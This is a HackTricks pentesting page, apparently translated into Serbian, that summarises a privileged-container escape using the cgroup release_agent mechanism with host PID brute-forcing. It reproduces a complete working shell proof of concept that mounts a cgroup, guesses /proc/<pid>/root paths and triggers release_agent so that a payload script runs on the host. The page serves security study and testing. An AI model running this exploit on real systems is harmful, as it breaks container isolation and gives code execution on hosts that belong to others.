release_agent exploit - Relative Paths to PIDs

Support HackTricks

Za više detalja proverite blog post na https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Ovo je samo sažetak:

Tehnika opisuje metodu za izvršavanje koda domaćina iz kontejnera, prevazilaženje izazova koje postavljaju konfiguracije drajvera za skladištenje koje prikrivaju putanju datoteke kontejnera na domaćinu, kao što su Kata Containers ili specifične devicemapper postavke.

Ključni koraci:

  1. Lociranje ID-eva procesa (PID-ova): Korišćenjem simboličke veze /proc/<pid>/root u Linux pseudo-datotečnom sistemu, bilo koja datoteka unutar kontejnera može se pristupiti u odnosu na datotečni sistem domaćina. Ovo zaobilazi potrebu da se zna putanja datoteke kontejnera na domaćinu.

  2. PID Bashing: Koristi se pristup silom da se pretražuju PID-ovi na domaćinu. Ovo se radi sekvencijalnim proveravanjem prisustva specifične datoteke na /proc/<pid>/root/<file>. Kada se datoteka pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljanog kontejnera.

  3. Pokretanje izvršenja: Pogađana putanja PID-a se upisuje u datoteku cgroups release_agent. Ova akcija pokreće izvršenje release_agent. Uspeh ovog koraka se potvrđuje proverom kreiranja izlazne datoteke.

Proces eksploatacije

Proces eksploatacije uključuje detaljniji set akcija, sa ciljem izvršavanja payload-a na domaćinu pogađanjem tačnog PID-a procesa koji se izvršava unutar kontejnera. Evo kako se odvija:

  1. Inicijalizacija okruženja: Payload skripta (payload.sh) se priprema na domaćinu, a jedinstveni direktorijum se kreira za manipulaciju cgroup-om.

  2. Priprema payload-a: Payload skripta, koja sadrži komande koje treba izvršiti na domaćinu, se piše i postavlja kao izvršna.

  3. Postavljanje cgroup-a: Cgroup se montira i konfiguriše. notify_on_release zastavica se postavlja da osigura da se payload izvrši kada se cgroup oslobodi.

  4. Brute Force PID: Petlja prolazi kroz potencijalne PID-ove, upisujući svaki pogađani PID u datoteku release_agent. Ovo efektivno postavlja payload skriptu kao release_agent.

  5. Pokretanje i provera izvršenja: Za svaki PID, cgroup.procs se upisuje, pokrećući izvršenje release_agent ako je PID tačan. Petlja se nastavlja dok se ne pronađe izlaz payload skripte, što ukazuje na uspešno izvršenje.

PoC iz blog posta:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Podržite HackTricks

Last updated